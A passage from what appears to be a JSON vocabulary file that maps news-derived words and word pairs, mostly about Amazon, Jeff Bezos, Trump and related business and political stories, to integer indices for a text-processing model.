"weinstein allegations": 117800, "announces bilateral": 117801, "delivering groceries": 117802, "installing": 117803, "seen incentivized": 117804, "pulled total": 117805, "trump crony": 117806, "2019 breaking": 117807, "delivery option": 117808, "sentiment read": 117809, "allows doctors": 117810, "stranger things": 117811, "job horror": 117812, "conclude": 117813, "hiking": 117814, "clear beneficiary": 117815, "second fulfillment": 117816, "controversial deforestation": 117817, "insider hypotheekrente": 117818, "global retail": 117819, "syria apparently": 117820, "impossible conversations": 117821, "impose work": 117822, "best places": 117823, "provide little": 117824, "carousel__content__item document": 117825, "shows netflix": 117826, "online reuters": 117827, "saw sales": 117828, "respects": 117829, "idealists": 117830, "open marketplace": 117831, "lucifer available": 117832, "eduardo padr\u00f3n": 117833, "putin having": 117834, "today satirical": 117835, "spends delivering": 117836, "filings alphabet": 117837, "stocks ultimate": 117838, "null sortorder": 117839, "higher confidence": 117840, "accused ford": 117841, "hamas supporters": 117842, "inc_custom_sidebar": 117843, "pursuing": 117844, "forces people": 117845, "approved sources": 117846, "nick denissen": 117847, "amazon helipads": 117848, "photo nv": 117849, "president commenting": 117850, "nbsp unique": 117851, "obama did": 117852, "office free": 117853, "national airport": 117854, "test participants": 117855, "jobs pulling": 117856, "features amazon": 117857, "fears": 117858, "suddenly disappears": 117859, "live attenuated": 117860, "concerned sales": 117861, "problem considering": 117862, "flame": 117863, "pouty": 117864, "story sp": 117865, "stock paid": 117866, "simon isn": 117867, "003": 117868, "daimler": 117869, "coming congressman": 117870, "homicide victims": 117871, "asked huseman": 117872, "1138et copyright": 117873, "latest book": 117874, "paid 160": 117875, "says bezos": 117876, "mower": 117877, "emails unhinged": 117878, "henderson nv": 117879, "role approving": 117880, "letter asking": 117881, "gop diminishing": 117882, "agency enforcement": 117883, "writing awards": 117884, "amzn start": 117885, "sources saying": 117886, "century nyt": 117887, "wework": 117888, "836": 117889, "seeker": 117890, "reportedly wrote": 117891, "discussed tax": 117892, "probe amazon": 117893, "saint anselm": 117894, "profile infidelity": 117895, "trillions": 117896, "insider notes": 117897, "touches dies": 117898, "copyright holders": 117899, "jesters": 117900, "bradfield": 117901, "extremely unusual": 117902, "guaranteed loans": 117903, "conley check": 117904, "trump shoes": 117905, "transit initiative": 117906, "hopefuls": 117907, "mans": 117908, "pay roughly": 117909, "trump honored": 117910, "later threatened": 117911, "taxpayer money": 117912, "n0": 117913, "coffee break": 117914, "tragic incident": 117915, "illustrate trump": 117916, "sreally exciting": 117917, "operator operator": 117918, "judge embedded": 117919, "vine voices": 117920, "newswi": 117921, "key cabinet": 117922, "secure location": 117923, "heritage": 117924, "collected data": 117925, "indirect influence": 117926, "news king": 117927, "postponing president": 117928, "perfect competition": 117929, "domes atop": 117930, "undo": 117931, "futures amid": 117932, "labor practices": 117933, "twitter image": 117934, "revealing bezos": 117935, "maher": 117936, "reported damian": 117937, "chris horn": 117938, "political consultancy": 117939, "study nursing": 117940, "invest": 117941, "aberrant reading": 117942, "trump dems": 117943, "drone technology": 117944, "million critics": 117945, "finally greenlit": 117946, "disappears": 117947, "political donations": 117948, "wildfire triggering": 117949, "debate": 117950, "weather lsu": 117951, "endorsement propelled": 117952, "pure guilty": 117953, "initial location": 117954, "bust tech": 117955, "2018 pay": 117956, "amazon accepts": 117957, "caller readers": 117958, "lahren": 117959, "whomever": 117960, "journal story": 117961, "seen sexism": 117962, "equally divided": 117963, "splc deems": 117964, "criminalenterprise": 117965, "closely followed": 117966, "scan mugshots": 117967, "publicly voiced": 117968, "784 billion": 117969, "tr1200 dt3": 117970, "thorny subject": 117971, "parted ways": 117972, "backlash texas": 117973, "kunal kamlani": 117974, "wage taxes": 117975, "billion related": 117976, "certainly capitol": 117977, "917134c164ee4890b8cdc865b3484943 960x0": 117978, "paid apple": 117979, "new treatments": 117980, "rosalind brewer": 117981, "emails exposed": 117982, "illinoisan": 117983, "infringement notices": 117984, "9110 tech": 117985, "detonations": 117986, "voter frustration": 117987, "neighbor lauren": 117988, "deployed overseas": 117989, "select winner": 117990, "kill tactics": 117991, "characterizes": 117992, "times kim": 117993, "courting corporations": 117994, "macron starts": 117995, "local search": 117996, "snappy response": 117997, "doorsteps amazon": 117998, "priced tech": 117999, "preschool initiative": 118000, "company representative": 118001, "control4 lidiane": 118002, "freshman democrat": 118003, "microsoft surface": 118004, "legal immigrants": 118005, "eisen": 118006, "lawn saying": 118007, "book detailing": 118008, "youtube facebook": 118009, "glenn kessler": 118010, "gossipy intrigue": 118011, "helpful solicited": 118012, "awards netflix": 118013, "lease": 118014, "oil sanctions": 118015, "later delivering": 118016, "women html": 118017, "million bezos": 118018, "things assume": 118019, "living according": 118020, "supports samantha": 118021, "slack room": 118022, "story facebook": 118023, "care plans": 118024, "tweaks": 118025, "backlash viral": 118026, "cnbc cited": 118027, "men lost": 118028, "inject billions": 118029, "agencies including": 118030, "paper news": 118031, "revamping global": 118032, "marketing guru": 118033, "lower resolution": 118034, "big league": 118035, "news merch": 118036, "marcos martial": 118037, "apart amazon": 118038, "runway model": 118039, "sheet": 118040, "donahoe explained": 118041, "gives insight": 118042, "380 8514": 118043, "supposed allies": 118044, "sears plans": 118045, "included prime": 118046, "based incidents": 118047, "power hydropower": 118048, "really long": 118049, "malls": 118050, "damage best": 118051, "entities selling": 118052, "emergency plan": 118053, "parscale pointed": 118054, "generation": 118055, "tickets warrants": 118056, "netflix ap": 118057, "big financial": 118058, "trump distractions": 118059, "work ofthe": 118060, "wise people": 118061, "ami controversy": 118062, "nfl regular": 118063, "experts specialize": 118064, "editorial max": 118065, "house staff": 118066, "predations": 118067, "notoriously loyal": 118068, "jesuit refugee": 118069, "open clear": 118070, "openly admitted": 118071, "metlife": 118072, "pester": 118073, "chicago cubs": 118074, "cooper say": 118075, "antony": 118076, "myths": 118077, "released special": 118078, "iii becker": 118079, "bad investment": 118080, "adventurous eating": 118081, "conscious committed": 118082, "services paid": 118083, "suppress competition": 118084, "avowed disdain": 118085, "newspaper source": 118086, "undergoing major": 118087, "avoid state": 118088, "salute monica": 118089, "national republicanism": 118090, "884 shares": 118091, "rain read": 118092, "mountain lion": 118093, "press matt": 118094, "neural": 118095, "recent focus": 118096, "bringing bad": 118097, "house suspending": 118098, "hottovy morningstar": 118099, "charges provides": 118100, "mortar businesses": 118101, "secretary alexis": 118102, "utm_term signuppage": 118103, "mentioning taped": 118104, "things 1997": 118105, "governments stringing": 118106, "nuclear program": 118107, "representative today": 118108, "economy added": 118109, "generally make": 118110, "henry oknyansky": 118111, "432 wmal": 118112, "bbc financial": 118113, "defeats": 118114, "protectionist measures": 118115, "recipients included": 118116, "municipal land": 118117, "board decision": 118118, "electoral corruption": 118119, "sic": 118120, "lock don": 118121, "777 billion": 118122, "mark zgutowicz": 118123, "drama shows": 118124, "administration department": 118125, "profits earned": 118126, "cn__column": 118127, "post follow": 118128, "fair quoted": 118129, "including amc": 118130, "singularly devastating": 118131, "dorsky": 118132, "orders shipped": 118133, "favoured liberal": 118134, "purchases including": 118135, "2017 fec": 118136, "food culture": 118137, "bfk0jah9oj cbs": 118138, "2000 just": 118139, "based small": 118140, "epithet fake": 118141, "wax museum": 118142, "geographic location": 118143, "asset mngmt": 118144, "times paywall": 118145, "wedding cbs": 118146, "remove blood": 118147, "proceeds president": 118148, "taxation hurts": 118149, "database includes": 118150, "seat wasby": 118151, "share concerns": 118152, "panglossian": 118153, "widely disputed": 118154, "topical targets": 118155, "swosh": 118156, "strategic expertise": 118157, "colorado today": 118158, "anderson nola": 118159, "2016 campaign": 118160, "genius collection": 118161, "crowd included": 118162, "toy lets": 118163, "purportedly obtained": 118164, "official narrative": 118165, "false noting": 118166, "synagogue member": 118167, "american drug": 118168, "tubes stretch": 118169, "mia wasikowska": 118170, "geographic regions": 118171, "traffic studies": 118172, "housing stipend": 118173, "counts pecker": 118174, "delivery logistics": 118175, "whopping 160": 118176, "river entertainment": 118177, "red trump": 118178, "comprehensive policies": 118179, "coming democrats": 118180, "topic currently": 118181, "73rd annual": 118182, "helping china": 118183, "local available": 118184, "600 people": 118185, "world scariest": 118186, "dad paying": 118187, "cattle raiser": 118188, "revamped indian": 118189, "removal sooner": 118190, "bullet regularly": 118191, "deep ties": 118192, "curiam": 118193, "commentisfree": 118194, "titan trump": 118195, "qa": 118196, "pages today": 118197, "just used": 118198, "regarding patent": 118199, "house nancy": 118200, "localand": 118201, "kitchen chopping": 118202, "wall headsto": 118203, "lyme disease": 118204, "wears blue": 118205, "poked fun": 118206, "futures rose": 118207, "quietly pushed": 118208, "brims modest": 118209, "paying workers": 118210, "prime autos": 118211, "67th": 118212, "aug 2016": 118213, "dhs shelter": 118214, "facing withdrawal": 118215, "needs better": 118216, "content economic": 118217, "contractor edward": 118218, "metapack carrier": 118219, "percoco": 118220, "smt": 118221, "marsh": 118222, "colours": 118223, "news carlson": 118224, "spending record": 118225, "sparks latest": 118226, "dearly": 118227, "senators raise": 118228, "win trump": 118229, "growth magnitude": 118230, "city officials": 118231, "diverse communities": 118232, "spends thousands": 118233, "driverless cars": 118234, "giant visy": 118235, "companies partnering": 118236, "hours longer": 118237, "higher lifetime": 118238, "orient corporations": 118239, "kentucky 6th": 118240, "manned": 118241, "receive tax": 118242, "buffalo": 118243, "decline week": 118244, "pontification amazon": 118245, "cleveland": 118246, "address michael": 118247, "merchant activity": 118248, "regence wework": 118249, "hero turned": 118250, "including gadgets": 118251, "feedburner utm_medium": 118252, "brynn": 118253, "stieg": 118254, "playboy club": 118255, "cohen owner": 118256, "straight close": 118257, "revel": 118258, "afp jan": 118259, "china production": 118260, "costco travel": 118261, "equipment brand": 118262, "baby onesies": 118263, "market values": 118264, "huge economic": 118265, "benefits relating": 118266, "divorce bezos": 118267, "tennis championships": 118268, "upload couldn": 118269, "amidst historic": 118270, "bigger question": 118271, "reports trump": 118272, "competition brought": 118273, "bulbs yes": 118274, "regulatory relationship": 118275, "tracing technology": 118276, "despite having": 118277, "ford amazon": 118278, "heirs xom": 118279, "sesame": 118280, "completely fair": 118281, "gates according": 118282, "washington examiner": 118283, "tower sauron": 118284, "globally significant": 118285, "successful businesses": 118286, "host charles": 118287, "start remotely": 118288, "splc tech": 118289, "completely unlike": 118290, "extend deadline": 118291, "wireless services": 118292, "borough amazon": 118293, "king lear": 118294, "representing roughly": 118295, "shopping live": 118296, "nyc northern": 118297, "world hit": 118298, "drones lack": 118299, "icon": 118300, "businesses tag": 118301, "lookner lookner": 118302, "countries generally": 118303, "radic": 118304, "news msnbc": 118305, "thing toyrs": 118306, "political feuds": 118307, "transferred": 118308, "ar": 118309, "job applicants": 118310, "cnn critical": 118311, "award recognizes": 118312, "suriname ecuador": 118313, "news says": 118314, "offered number": 118315, "isn diversity": 118316, "novels north": 118317, "issue tout": 118318, "pay half": 118319, "workstation": 118320, "japan france": 118321, "creator new": 118322, "times columnist": 118323, "office released": 118324, "obligated": 118325, "friend political": 118326, "true cost": 118327, "nation wrought": 118328, "kingdom expanding": 118329, "inmed pharmaceuticals": 118330, "recently pointed": 118331, "allstate": 118332, "opposed replacing": 118333, "investigation interview": 118334, "engine optimization": 118335, "user data": 118336, "o6": 118337, "maeve reston": 118338, "inefficient powerball": 118339, "rescue hasn": 118340, "swidt": 118341, "finalist city": 118342, "surprise divorce": 118343, "raised pricing": 118344, "legendary": 118345, "mailing prices": 118346, "president especially": 118347, "mig": 118348, "paying coveted": 118349, "google reportedly": 118350, "trump mouthpiece": 118351, "filled": 118352, "bloomberg alphabet": 118353, "stressing": 118354, "outlasted": 118355, "active imagination": 118356, "throated": 118357, "board featured": 118358, "ominous threats": 118359, "trump declined": 118360, "modi accent": 118361, "emphatically rejects": 118362, "lower court": 118363, "2005 trump": 118364, "company purported": 118365, "money contacts": 118366, "breakup": 118367, "company expand": 118368, "floated taking": 118369, "funny told": 118370, "commission agreement": 118371, "netflix details": 118372, "walmart says": 118373, "facebook cnbc": 118374, "reach compromise": 118375, "intuitive fashion": 118376, "think religious": 118377, "ways corporation": 118378, "hammer home": 118379, "laudable": 118380, "instructs secretary": 118381, "blaming trump": 118382, "considered mature": 118383, "option deduction": 118384, "unlike tesla": 118385, "marc caputo": 118386, "economy lets": 118387, "editor marty": 118388, "cicilline reiterated": 118389, "bottle bobbed": 118390, "aly song": 118391, "utility regulating": 118392, "handout": 118393, "governmentwide": 118394, "major averages": 118395, "newsroom owned": 118396, "including sex": 118397, "economic summit": 118398, "winner": 118399, "ez reyes": 118400, "brand products": 118401, "ensorship": 118402, "border installation": 118403, "mouthpieces": 118404, "neil diamond": 118405, "planthat": 118406, "000 false": 118407, "2019 donald": 118408, "hindsight": 118409, "bizarrely stimulating": 118410, "berin sz\u00f3ka": 118411, "psychotic break": 118412, "barbara ellen": 118413, "323 billion": 118414, "potential departures": 118415, "european authorities": 118416, "orient express": 118417, "company pence": 118418, "ways sears": 118419, "hurt business": 118420, "failed merger": 118421, "maryknoll": 118422, "commonplace": 118423, "bolsonaro finished": 118424, "climate amazon": 118425, "transactional model": 118426, "1997 lot": 118427, "fuel analysts": 118428, "jurist": 118429, "key drivers": 118430, "lawrence ndrew_lawrence": 118431, "spearheaded postal": 118432, "using national": 118433, "sex chats": 118434, "morning nice": 118435, "origin project": 118436, "history undefined": 118437, "analytica selling": 118438, "frontiers": 118439, "times subscribers": 118440, "facebook chief": 118441, "regarded magnanimous": 118442, "beat david": 118443, "tenney": 118444, "section brought": 118445, "137 million": 118446, "stars lifetime": 118447, "leaving britain": 118448, "dc areas": 118449, "brief sarcastic": 118450, "time howard": 118451, "racist violence": 118452, "cronyism central": 118453, "helped kick": 118454, "rafael": 118455, "similar wave": 118456, "headed debate": 118457, "phase music": 118458, "manager dies": 118459, "txn": 118460, "intimate personal": 118461, "weimar berlin": 118462, "witter scarborough": 118463, "income making": 118464, "oldglory": 118465, "famously unpredictable": 118466, "enquirer threatened": 118467, "season ahead": 118468, "graying": 118469, "permanent base": 118470, "nydia": 118471, "sportswear company": 118472, "technologies amazons": 118473, "airport project": 118474, "builds hq2": 118475, "record sales": 118476, "start eu": 118477, "grabbed major": 118478, "youth key": 118479, "mai mngmt": 118480, "navarro republicans": 118481, "beauty trump": 118482, "bombardia": 118483, "cooking": 118484, "old trope": 118485, "years lawyer": 118486, "fairy": 118487, "screamingly obtuse": 118488, "trump program": 118489, "pre meeting": 118490, "anthropomorphized horse": 118491, "current worker": 118492, "intelligence daniel": 118493, "board nominee": 118494, "intermediate crude": 118495, "apparel health": 118496, "monoliths": 118497, "protecting nassau": 118498, "toiletry": 118499, "job fair": 118500, "retiree benefit": 118501, "netteknows": 118502, "financed abortions": 118503, "country package": 118504, "couriers particularly": 118505, "rivals coming": 118506, "newton": 118507, "best simpsons": 118508, "trump companies": 118509, "shanahan": 118510, "payforplay": 118511, "final gop": 118512, "ameriker": 118513, "meal delivery": 118514, "future unlocking": 118515, "msnbc personalities": 118516, "lives right": 118517, "bby": 118518, "privately groused": 118519, "jail cell": 118520, "walmart associates": 118521, "ensw": 118522, "skill amazon": 118523, "drawn attention": 118524, "camps sponsored": 118525, "y6": 118526, "v35": 118527, "abortion restrictions": 118528, "company acquisition": 118529, "regulatory compliance": 118530, "streetinsider": 118531, "ivanka merchandise": 118532, "landmark theatres": 118533, "lottery drawing": 118534, "businesswoman": 118535, "paying actually": 118536, "brazilian beef": 118537, "companies bezos": 118538, "legislation designed": 118539, "jay stanley": 118540, "division nyt": 118541, "member kshama": 118542, "trade conflict": 118543, "cartoonists": 118544, "complete ignorance": 118545, "bezos hands": 118546, "earlier intentions": 118547, "splc carte": 118548, "scraps hq2": 118549, "guaranteed work": 118550, "deal france": 118551, "news value": 118552, "huffed": 118553, "image honoree": 118554, "address private": 118555, "administration office": 118556, "includes pitch": 118557, "partners chamber": 118558, "federal investigations": 118559, "competitively": 118560, "miller review": 118561, "box interview": 118562, "nasdaq major": 118563, "face encounters": 118564, "9625 email": 118565, "sourceamazon pirro": 118566, "nasdaq 120": 118567, "wall showdown": 118568, "cnbc host": 118569, "josh hawley": 118570, "manufacturers department": 118571, "invent aws": 118572, "reportedly claim": 118573, "somali workers": 118574, "descriptiontext elon": 118575, "teaser trailer": 118576, "ceo jeff": 118577, "gpu": 118578, "outrages": 118579, "post presenting": 118580, "burgeoning federal": 118581, "free food": 118582, "story howard": 118583, "ricin according": 118584, "eyes open": 118585, "global headquarters": 118586, "company halliburton": 118587, "f7a tostring": 118588, "request online": 118589, "capernaum nadine": 118590, "temporary injunction": 118591, "extreme action": 118592, "add light": 118593, "000 courtesy": 118594, "sinclair worries": 118595, "emailed requests": 118596, "key absurdist": 118597, "1994 early": 118598, "tim lince": 118599, "alexandra": 118600, "tangible days": 118601, "ifmbu4gec3": 118602, "monopolized": 118603, "fiction concerning": 118604, "textbook definition": 118605, "old second": 118606, "zone bloomberg": 118607, "10m": 118608, "conservative authors": 118609, "shirt sells": 118610, "shepard member": 118611, "charles river": 118612, "reportedly 400": 118613, "firsts mmm": 118614, "ness": 118615, "called american": 118616, "called retail": 118617, "190 billion": 118618, "unionize think": 118619, "twitter nyse": 118620, "prominent female": 118621, "senator vowed": 118622, "imdb actor": 118623, "mammals": 118624, "routinely criticizes": 118625, "actually canadians": 118626, "g7a f4a": 118627, "polarizing bezos": 118628, "impact assessment": 118629, "motor": 118630, "headway": 118631, "executive mistress": 118632, "global practice": 118633, "new commercial": 118634, "flat despite": 118635, "agency handled": 118636, "president mental": 118637, "va hq2": 118638, "missouri hospital": 118639, "trump illegally": 118640, "critical washington": 118641, "pummelled pharmacy": 118642, "hail diversity": 118643, "identical emails": 118644, "580m": 118645, "garner support": 118646, "positive coverage": 118647, "aviation organization": 118648, "called make": 118649, "tsxv vhi": 118650, "dam disaster": 118651, "generals": 118652, "plans raised": 118653, "books second": 118654, "trump launches": 118655, "impose fines": 118656, "email newsletter": 118657, "shipka": 118658, "operating basis": 118659, "carnival": 118660, "distinct individual": 118661, "buffett large": 118662, "clinical": 118663, "dleonhardt": 118664, "munduruku warriors": 118665, "bully biff": 118666, "allegedly helped": 118667, "black law": 118668, "site offers": 118669, "stunning announcement": 118670, "chinese mindset": 118671, "enabling cambridge": 118672, "bmo": 118673, "q19 bus": 118674, "whatyou want": 118675, "hasn won": 118676, "memo sent": 118677, "hinton": 118678, "rohit": 118679, "global investors": 118680, "howe": 118681, "national organization": 118682, "abuser": 118683, "deal earlier": 118684, "pbi": 118685, "started small": 118686, "guardiantech": 118687, "life lesson": 118688, "supporter ken": 118689, "country dangerously": 118690, "heather long": 118691, "hasn seen": 118692, "pashman airs": 118693, "pils aimed": 118694, "consensual agreements": 118695, "downgrade": 118696, "mayweather": 118697, "amazon terminated": 118698, "antitrust state": 118699, "obama deal": 118700, "inside cuar\u00f3n": 118701, "president daughter": 118702, "recommendations relates": 118703, "amazon revealing": 118704, "babies born": 118705, "failing urine": 118706, "vows change": 118707, "investigators backed": 118708, "shutdown sen": 118709, "100 share": 118710, "work conditions": 118711, "detain fewer": 118712, "1380": 118713, "judge stated": 118714, "cat photos": 118715, "brazile face": 118716, "primary results": 118717, "ist": 118718, "administration bezos": 118719, "resolution calling": 118720, "cnn foxnews": 118721, "teeuwe mevissen": 118722, "commence": 118723, "tariffs mexico": 118724, "davidson uber": 118725, "hours trading": 118726, "senator warren": 118727, "q3 2017": 118728, "packages help": 118729, "aspx": 118730, "included compression": 118731, "exorbitant": 118732, "beauty app": 118733, "trump traveled": 118734, "source gallo": 118735, "rekognition saying": 118736, "launch businesses": 118737, "platform misleading": 118738, "minute conveniences": 118739, "hard defensive": 118740, "nhl rangers": 118741, "recode_logomark": 118742, "ugly american": 118743, "follow kelly": 118744, "taxpayers shouldering": 118745, "areas data": 118746, "motivated normally": 118747, "lister": 118748, "headquartersin": 118749, "1230x1672 getty_173218731_200015422000928060_388160": 118750, "team realized": 118751, "silent donation": 118752, "nicely": 118753, "noah recapped": 118754, "make decision": 118755, "columnist samin": 118756, "second marriage": 118757, "risk taking": 118758, "currently predict": 118759, "secure major": 118760, "castrating": 118761, "political billionaires": 118762, "meaning near": 118763, "referring michael": 118764, "year agreement": 118765, "assistant alexa": 118766, "alan yang": 118767, "sanders revealed": 118768, "perceived wrongs": 118769, "customers collectively": 118770, "probably know": 118771, "paulo newspaper": 118772, "disappointingly": 118773, "20america": 118774, "cnn whitehouse": 118775, "amazon petition": 118776, "supports journalistic": 118777, "haste": 118778, "marketplace deigning": 118779, "schiff moves": 118780, "russiagate charge": 118781, "safety regulations": 118782, "flip phone": 118783, "robertmuller": 118784, "retail stocks": 118785, "paid royalties": 118786, "greater deforestation": 118787, "senate homeland": 118788, "half human": 118789, "ap denver": 118790, "company fastcompany": 118791, "charges president": 118792, "choppy trading": 118793, "additional tax": 118794, "veteran moves": 118795, "sanchez says": 118796, "domination": 118797, "employees rights": 118798, "watch told": 118799, "perfunctory": 118800, "boeing ceo": 118801, "plane required": 118802, "ward foto": 118803, "problem distilled": 118804, "trump blanket": 118805, "kids entertained": 118806, "left splc": 118807, "called statewide": 118808, "represent growing": 118809, "conservancy": 118810, "interesting topics": 118811, "congress sends": 118812, "trump declared": 118813, "steadily shrinking": 118814, "radio wnyc": 118815, "certain consumers": 118816, "hotel frequently": 118817, "indianapolis offices": 118818, "retail survey": 118819, "roman hugging": 118820, "90s": 118821, "partisan politics": 118822, "cn": 118823, "prominent democratic": 118824, "becker roger": 118825, "toro patricia": 118826, "thinkings": 118827, "families learn": 118828, "ms treatment": 118829, "diverse revenue": 118830, "host sergio": 118831, "kim jong": 118832, "frum contends": 118833, "years version": 118834, "denny ozens": 118835, "gewirtz": 118836, "subsidize private": 118837, "contribution donating": 118838, "opinion 2019": 118839, "estimated billion": 118840, "skirt collecting": 118841, "monitor thousands": 118842, "concert hosting": 118843, "city amazon": 118844, "called terrific": 118845, "attn": 118846, "stoking": 118847, "seconds story": 118848, "permas permas": 118849, "stated referencing": 118850, "1230x1672 uploaded_files": 118851, "regulatory affairs": 118852, "cuomo certainly": 118853, "dems known": 118854, "neutrality efforts": 118855, "sarah isgur": 118856, "stop treating": 118857, "fully digested": 118858, "demanding answers": 118859, "manufacture electronic": 118860, "research health": 118861, "general jamie": 118862, "trading following": 118863, "coordinating hush": 118864, "emotional woman": 118865, "gavin told": 118866, "35k": 118867, "null skyhorse": 118868, "post virginia": 118869, "pretty sharply": 118870, "local delivery": 118871, "opinion quick": 118872, "korea threat": 118873, "island": 118874, "staten island": 118875, "different types": 118876, "verylong time": 118877, "subway tunnels": 118878, "khosrowshahi analogy": 118879, "response covfefe": 118880, "crisis period": 118881, "patrol foundation": 118882, "signficant meetings": 118883, "man says": 118884, "2016 sent": 118885, "favorable cost": 118886, "ziegler": 118887, "taxes taxes": 118888, "mccain hadn": 118889, "ceo ownership": 118890, "glit": 118891, "193 advantage": 118892, "glee": 118893, "work faster": 118894, "minecraft product": 118895, "couple jason": 118896, "direct inquires": 118897, "tom leonard": 118898, "headwinds story": 118899, "airport arrivals": 118900, "sum ending": 118901, "o1 bu0yhealth": 118902, "facebook suspends": 118903, "data transfers": 118904, "border creating": 118905, "ben veniste": 118906, "printed copy": 118907, "immigration history": 118908, "discussing somebody": 118909, "threatening anti": 118910, "wrote california": 118911, "inside foreman": 118912, "character relationships": 118913, "livestock": 118914, "lgbt": 118915, "devoted groups": 118916, "vouching": 118917, "poop": 118918, "proven inadequate": 118919, "bisexual": 118920, "markets trump": 118921, "reed traveled": 118922, "business cvs": 118923, "authorities seeking": 118924, "finance services": 118925, "provisionally approved": 118926, "amazon broadway": 118927, "pharma trick": 118928, "morethe": 118929, "recently signed": 118930, "state approach": 118931, "blonds draw": 118932, "conversation guidelines": 118933, "steve dietl": 118934, "unwitting hostage": 118935, "unbiased sellers": 118936, "bbt atob": 118937, "return correspondent": 118938, "stephanopoulos kudlow": 118939, "sushmita": 118940, "casone yes": 118941, "bubble wrap": 118942, "robert klieger": 118943, "kyle lowry": 118944, "vadata": 118945, "kashmir": 118946, "constitution just": 118947, "engulfs riverdale": 118948, "contract business": 118949, "employees did": 118950, "shop products": 118951, "gulftimes barclays": 118952, "ente": 118953, "american way": 118954, "companies targeted": 118955, "security meaning": 118956, "sanders introduced": 118957, "westneat": 118958, "tout suite": 118959, "airstrip": 118960, "magazine did": 118961, "rights activist": 118962, "trump dangerous": 118963, "huge federal": 118964, "negatively": 118965, "ride wait": 118966, "bezos simply": 118967, "permanent human": 118968, "indicative": 118969, "office dumber": 118970, "retail devices": 118971, "cmc": 118972, "blackmail expires": 118973, "national magazine": 118974, "number led": 118975, "venders write": 118976, "cbs boeing": 118977, "brand instead": 118978, "ice skating": 118979, "boggling": 118980, "parscale": 118981, "hill ore": 118982, "trump good": 118983, "rodriguez candidacy": 118984, "walmart boycott": 118985, "312 000": 118986, "recode amazon": 118987, "carell transformed": 118988, "tourist killed": 118989, "reform especially": 118990, "amazon otherworld": 118991, "pecker": 118992, "party including": 118993, "portfolio national": 118994, "kyodo news": 118995, "defeat trump": 118996, "adam putnam": 118997, "positive treatment": 118998, "business activities": 118999, "buy photo": 119000, "bezos 112": 119001, "stanage niallstanage": 119002, "payout": 119003, "flattering stories": 119004, "class systems": 119005, "solve levels": 119006, "mngmt americas": 119007, "accelerated gentrification": 119008, "messaging isn": 119009, "wood": 119010, "absolutely change": 119011, "female warriors": 119012, "possible data": 119013, "jogger attacked": 119014, "bannon happens": 119015, "fb trump": 119016, "florida majority": 119017, "king medium": 119018, "startups": 119019, "dick pics": 119020, "affairs agency": 119021, "free checked": 119022, "riders": 119023, "couldn figure": 119024, "quieted": 119025, "hedgerow": 119026, "275 year": 119027, "ruling provides": 119028, "sales increase": 119029, "pentagon analysts": 119030, "dnc paid": 119031, "says hunky": 119032, "music services": 119033, "mentioned venues": 119034, "establish criminal": 119035, "civil servants": 119036, "massive gold": 119037, "cnl_custom_color 0n17_bcccgcccggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg": 119038, "dwarfing": 119039, "face exhausting": 119040, "wax job": 119041, "owns 146": 119042, "leave options": 119043, "wingfield": 119044, "west community": 119045, "noted previously": 119046, "written": 119047, "million donation": 119048, "cohen stories": 119049, "policy specifically": 119050, "cowboy hat": 119051, "googl free": 119052, "farming food": 119053, "27101 letters": 119054, "pecker offered": 119055, "twang": 119056, "trumps renegotiated": 119057, "record salaries": 119058, "set a4ee": 119059, "payloads": 119060, "cavuto coast": 119061, "727": 119062, "behemoth known": 119063, "project took": 119064, "major exporters": 119065, "acts follow": 119066, "scanners replaced": 119067, "region depends": 119068, "100 little": 119069, "bezos received": 119070, "analyst rocky": 119071, "enterprise hits": 119072, "thumb imagealt": 119073, "nyt peter": 119074, "verification process": 119075, "lives making": 119076, "million twitter": 119077, "forces bezos": 119078, "peter strzok": 119079, "000 lives": 119080, "nikkei": 119081, "87bn related": 119082, "limiting toxic": 119083, "change williams": 119084, "columnist eugene": 119085, "dave peyton": 119086, "ipcc": 119087, "leighton": 119088, "rest flowing": 119089, "bold risky": 119090, "later wage": 119091, "afford rent": 119092, "underemployed": 119093, "shipping package": 119094, "took pecker": 119095, "banks wings": 119096, "counts photo": 119097, "entitlements": 119098, "declaration josh": 119099, "legal analyst": 119100, "path": 119101, "dilemmas follow": 119102, "arabia crown": 119103, "alexa controversy": 119104, "gettrumpybear": 119105, "retailers pain": 119106, "shipworks": 119107, "account elon": 119108, "susceptible": 119109, "merely reflects": 119110, "frederick wiseman": 119111, "stocks rallied": 119112, "door desk": 119113, "hype drivel": 119114, "citi newsroom": 119115, "commonwealth stephen": 119116, "waits": 119117, "intensive work": 119118, "bachelor": 119119, "van een": 119120, "year guidance": 119121, "day event": 119122, "saving features": 119123, "parole": 119124, "health trending": 119125, "education students": 119126, "good hat": 119127, "secretary vanity": 119128, "share blowing": 119129, "package lot": 119130, "cnn journalist": 119131, "giles": 119132, "america tax": 119133, "continual basis": 119134, "waivers": 119135, "raised delivery": 119136, "children waiting": 119137, "seeing weakness": 119138, "reconstructed scenes": 119139, "report underscores": 119140, "upcoming investor": 119141, "economist jeff": 119142, "commerce digital": 119143, "cnk": 119144, "developer plaxall": 119145, "different world": 119146, "consulting role": 119147, "fight response": 119148, "shocking practices": 119149, "john slattery": 119150, "senators asked": 119151, "tag skills": 119152, "public media": 119153, "europe union": 119154, "everyman": 119155, "mailbox amazon": 119156, "retaliated": 119157, "projecting 789": 119158, "amazon macy": 119159, "canals": 119160, "prominent literary": 119161, "amzn works": 119162, "cupertino": 119163, "enjoying positive": 119164, "suggested forcing": 119165, "act debate": 119166, "finds parts": 119167, "certain electric": 119168, "facebook raise": 119169, "hearings scheduled": 119170, "sheer vengeance": 119171, "inevitably students": 119172, "quarter helping": 119173, "events held": 119174, "weeks billionaire": 119175, "us69": 119176, "photography mattresses": 119177, "threat isn": 119178, "total includes": 119179, "taking credit": 119180, "interrupts meghan": 119181, "marvel role": 119182, "increased regulatory": 119183, "change 882": 119184, "large employers": 119185, "recently enlisted": 119186, "fan boy": 119187, "joe jarvis": 119188, "unveiled president": 119189, "flash briefing": 119190, "create marketplace": 119191, "reddit posters": 119192, "eviscerated": 119193, "jobs created": 119194, "serve simmered": 119195, "patiently waited": 119196, "appropriate safety": 119197, "exasperating": 119198, "amazon unsafe": 119199, "difficult smith": 119200, "uk labour": 119201, "bad stock": 119202, "preempt": 119203, "stocks suitable": 119204, "rightful claim": 119205, "sydney bristow": 119206, "shelter false": 119207, "office concerned": 119208, "014 shares": 119209, "bezos moved": 119210, "498 raised": 119211, "redwood california": 119212, "reads companies": 119213, "prioritize convenience": 119214, "english declined": 119215, "best horror": 119216, "microsoft did": 119217, "recent trump": 119218, "explicitly named": 119219, "analog": 119220, "carolinas hurricane": 119221, "dispatch support": 119222, "respects amazon": 119223, "thought leaders": 